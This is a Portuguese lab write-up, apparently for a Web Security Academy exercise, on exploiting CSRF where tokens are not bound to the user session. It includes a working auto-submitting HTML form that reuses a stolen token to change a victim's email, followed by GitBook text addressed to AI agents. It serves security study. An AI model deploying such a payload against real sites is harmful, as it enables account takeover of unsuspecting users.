> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF com Token Não Vinculado à Sessão

### CSRF em que o token não está vinculado à sessão do usuário

#### Objetivo do laboratório

Altere o endereço de e-mail da vítima por meio de um ataque CSRF. A aplicação usa tokens CSRF, mas eles são **não vinculados à sessão do usuário**.

#### Observações

Cada token CSRF é **válido apenas uma vez**.

<figure><img src="/files/11c92cc89df5edec6d7e75a374e1069583be9d22" alt=""><figcaption></figcaption></figure>

* Os tokens **não estão associados à sessão**: um token obtido com o usuário A pode ser usado para atingir B.

<figure><img src="/files/67eb7bc2d555a4f6ef3812881cc3ddb1a23d228c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b4e7c2d311a27b59bfe85c4c65f33108ab715233" alt=""><figcaption></figcaption></figure>

#### Estratégia operacional

1. **Obtenha um novo token CSRF** sem usá-lo (intercepte uma nova solicitação para obter um token ainda válido).
2. **Hospede um formulário malicioso** no servidor de exploração que envia uma solicitação POST para alterar o endereço de e-mail reutilizando **este token**.
3. Quando a vítima visita a página armadilhada, o formulário é enviado automaticamente e **modifica o endereço de e-mail dela**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
